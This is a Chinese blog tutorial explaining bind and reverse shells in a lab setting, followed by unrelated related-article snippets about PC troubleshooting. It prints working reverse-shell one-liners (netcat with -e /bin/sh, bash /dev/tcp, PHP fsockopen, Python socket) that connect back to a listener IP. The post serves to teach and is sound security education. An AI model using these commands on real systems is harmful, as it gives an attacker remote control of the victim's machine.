百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT知识 > 正文

3分钟搞懂反弹shell

liuian 2024-12-02 22:29 49 浏览

实际上,很早很早以前就听说过反弹shell,我最早做的网络安全实验就开始反弹shell。比如这个知乎live中的第三个实验TCP会话劫持,就反弹了shell。一年前在与攻防团队的交流会上,再次听到反弹shell,当时也没放在心上,反正挺重要的。直到今天,才算彻底明白反弹shell是咋回事。如果用一句话概述,那么反弹shell就是:

黑客控制了目标,弹一个shell,构建一个稳定的通信后门。


【网络安全】TCP-IP协议攻击 作者 ailx10


  • 先弹shell就是正向shell,后连接
  • 后弹shell就是反向shell,先监听

正向shell:客户端想要获得服务端的shell

  • 假设小黑是一名黑客
  • 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
  • 于是小黑通过nc将这台电脑的控制权通过23333端口发射出去
  • 小黑做了一系列的操作,又悄咪咪的原路返航
  • 回到家后,通过nc连上刘看山的电脑
  • 后来,刘看山的隐私泄露了~
  • (这里小黑是客户端,刘看山是服务端,服务端发射shell)

反向shell:服务端想要获得客户端的shell(也就是反弹shell)

  • 假设小黑是一名黑客
  • 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
  • 小黑发现电脑里有一个有趣的文件(刘看山的秘密)
  • 小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航
  • 回到家后,小黑打开这个文件
  • 发现电脑被刘看山控制了~
  • (这里小黑是客户端,刘看山是服务端,客户端发射shell)

正向shell(服务端送shell)

  • 第一步:在kali rolling(服务端)上监听23333端口,并反弹shell
nc -lvp 23333 -e /bin/sh
  • 第二步:在ubuntu18(客户端)上连接kali rolling的23333端口
  • 这个时候,客户端就拿到服务端的shell控制权了
  • 可以随意控制服务端
nc 192.168.160.140 23333

反向shell(客户端送shell)

  • 第一步:在ubuntu18上选择增强版的netcat
  • 一般ubuntu默认的是free-bsd版本的nc
update-alternatives --config nc
  • 第二步:在kali rolling上启动服务端,等待客户端上钩
  • 客户端只要吃钩子,服务端就获得了客户端的shell控制权
  • 可以随意控制客户端
nc -lvp 23333
  • 第三步:在ubuntu18上启动客户端,吃钩子
nc 192.168.160.140 23333 -e /bin/sh
  • 我们发现必须客户端和服务端都安装了nc才能实现反弹shell(反向shell)
  • 但是如果其中一方没有安装nc怎么办?

bash反弹shell

  • 服务端(kali rolling上监听23333)
  • 客户端吃钩子,服务端就成功控制客户端了
  • 客户端(ubuntu18上bash反弹shell)
bash -i >& /dev/tcp/192.168.160.140/23333 0>&1

php反弹shell

  • 服务端(kali rolling上监听23333)
  • 客户端吃钩子,服务端就成功控制客户端了
  • 客户端(ubuntu18上bash反弹shell)
php -r '$f=fsockopen("192.168.160.140",23333);exec("/bin/sh -i <&3 >&3 2>&3");'

python反弹shell

  • 服务端(kali rolling上监听23333)
  • 客户端吃钩子,服务端就成功控制客户端了
  • 客户端(ubuntu18上bash反弹shell)
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.160.140",23333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

本篇完~

相关推荐

qq对战平台老版本(qq对战平台在qq哪里)

1.打开任务管理器-进程。查找是否有cstrike.exe或hl.exe(CS名字.exe)。如果有的话。请点击结束进程。再试试。2.打开任务管理器-进程。查找是否有QQPet.exe(QQ宠物进...

电脑开机无限自动重启(电脑开机后自动重启无数遍是什么原因)

依次打开开始控制面板,打开系统安全系统,找到高级系统设置并打开,进入系统属性选择高级,找到启动和故障恢复点击设置,在弹出页面找到系统失败自动重新启动取消勾选并启动。2.键盘按住win+r打开运行框,...

win7自带的摄像头程序(win7自带的摄像头软件)
  • win7自带的摄像头程序(win7自带的摄像头软件)
  • win7自带的摄像头程序(win7自带的摄像头软件)
  • win7自带的摄像头程序(win7自带的摄像头软件)
  • win7自带的摄像头程序(win7自带的摄像头软件)
ghostxp32位下载(ghost win7下载32位)

你不需要直接加4G的,你再买一条2G同品牌型号内存加上去,组成4G内存就行,不过系统要改为Win764位系统,因为XP只能认3.25G内存,如果你想下载圣安地列斯游戏,并且使用的系统是Window...

eset nod32 24位激活码(eset激活码生成器)

ESETNOD32Antivirus4的激活码是24位的例如M26D-0233-4W9Q-VSSB-D84G-JJJJ或V26D-0243-4W9Q-VSSB-D84G-JGFD(友情提示...

鸿蒙系统的优缺点(鸿蒙4.3和5.0哪个好)

一、鸿蒙系统的缺点鸿蒙最大的缺点应该就是生态了。鸿蒙系统依赖安卓生态无可厚非,前者毕竟是一款刚刚发布两年的新系统。而安卓,早在几十年前就已经上线,谷歌建设安卓生态也用了十多年的时间。在巨大的时间差面前...

bios怎么格式化c盘(bios格式下怎么彻底格式化电脑)
bios怎么格式化c盘(bios格式下怎么彻底格式化电脑)

步骤/方式1BIOS没有格式化硬盘的功能。对硬盘进行格式化,首先需要给硬盘分区并分配文件系统,BIOS不支持文件系统的识别,所以也不支持格式化的功能。步骤/方式2早期的计算机系统在BIOS里面曾经有过低级格式化的功能,但是低级格式化只是对硬...

2025-12-22 20:05 liuian

电脑开机显示屏显示蓝屏(开机后显示器蓝屏)

造成电脑蓝屏的原因主要有以下几点。1、电脑使用过度,温度过高过度使用电脑会导致电脑硬件发生损坏,系统超载,内部运算过多,cpu温度急剧升高,会发生系统错误。建议更换散热系统,更新“小风扇”设备,并合...

设置无线网密码步骤(如何设置无线网络wifi密码)

首先使用已经连接到网络的手机或电脑,在浏览器地址栏输入192.168.1.1或者192.168.0.1;输入管理员账号和密码,两个一般都是输入admin;点击【无线设置】,进入【安全选项】,在输入旧密...

下载优酷官方正版(下载优酷官方正版网站)

您好,直接打开浏览器或者打开手机的应用商城,然后输入该软件的名称然后搜索即可在搜索结果中下载安装即可,也可以下载一个市场类软件,常见的有安卓市场,机锋市场等,之后使用此款软件下载其他程序。优酷视频...

iso文件安装器(iso安装程序)

不能。苹果手机是不能安装apk格式软件的,apk是安卓系统的安装包格式。通过将APK文件直接传到Android模拟器或Android手机中执行即可安装。apk文件和sis一样,把androidsdk...

台式电脑重装系统按哪个键进入
台式电脑重装系统按哪个键进入

不同品牌的设备按键是不同的1、如果原来电脑装一键还原软件,装系统时直接在启动画面选择重新恢复系统项即可;2、如需启动光盘或者优盘来重装系统,需要开机按启动热键,选择对应的按键即可调出启动菜单选择界面,在菜单中选择优盘或光驱,按回车,按提示进...

2025-12-22 17:55 liuian

戴尔笔记本电脑一开机就蓝屏

笔记本蓝屏可能是电脑硬盘故障,可以更换一个硬盘尝试。也可能是更新了驱动与修复漏洞补丁,可以进入安全模式将更新的驱动删除。有可能是内存条故障,可以把内存条取下来,用橡皮擦轻轻擦拭金手指,然后用毛刷将内存...

优酷路由宝怎么设置(优酷路由宝怎么设置网络)

无线连接如果准备用手机、笔记本电脑来设置优酷路由宝,需要先把WAN口,连接宽带网线(宽带猫、光猫);然后手机/笔记本电脑搜索连接到优酷路由宝的WiFi。优酷路由宝的默认WiFi名称是:Youku_开...

一键装机软件大全(一键装机下载)

1一键装机工具是一种自动化安装计算机操作系统以及常用软件的工具。2使用一键装机工具,需要先准备好需要安装的操作系统镜像和需要安装的软件列表,然后将它们放在一键装机工具所指定的位置。接下来,打开一键...